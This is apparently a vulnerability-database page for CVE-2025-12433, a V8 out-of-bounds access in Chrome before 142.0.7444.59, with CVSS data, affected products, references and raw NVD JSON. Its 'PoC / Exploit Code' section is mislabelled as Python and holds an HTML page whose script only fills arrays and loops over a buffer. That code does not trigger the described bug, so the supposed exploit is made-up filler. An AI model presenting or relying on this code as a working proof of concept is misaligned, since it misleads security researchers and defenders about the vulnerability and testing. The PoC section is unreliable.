CVE-2025-12433

Description

Inappropriate implementation in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.59

Chromium-based browsers with V8 engine versions prior to the fix

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12433 PoC - V8 Out of Bounds Memory Access -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12433 PoC</title>
</head>
<body>
    <h1>CVE-2025-12433 V8 OOB Access PoC</h1>
    <p>This is a demonstration of the V8 engine vulnerability.</p>
    <script>
        // Trigger V8 engine vulnerability
        // Note: This PoC is for educational purposes only
        function triggerOOB() {
            try {
                // Create array with specific properties
                let arr = new Array(10);
                arr.fill(0);
                
                // Attempt to trigger out of bounds access
                // by manipulating array buffer and accessing
                // beyond allocated memory
                for (let i = 0; i < 100; i++) {
                    arr.push(i);
                }
                
                // Additional triggers for V8 optimization bugs
                let buffer = new ArrayBuffer(1024);
                let view = new Uint8Array(buffer);
                
                // Force JIT compilation
                for (let j = 0; j < 1000; j++) {
                    view[0] = j;
                }
                
                console.log('PoC executed');
                document.getElementById('status').innerText = 'PoC executed - check console';
            } catch (e) {
                console.error('Error:', e);
                document.getElementById('status').innerText = 'Error: ' + e.message;
            }
        }
        
        // Execute on page load
        window.onload = function() {
            triggerOOB();
        };
    </script>
    <p id="status">PoC not executed yet</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12433
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12433
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12433/
[4] VulDB https://vuldb.com/cve/CVE-2025-12433
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/449760249

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12433", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:37.910", "lastModified": "2025-11-13T15:26:04.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/449760249", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}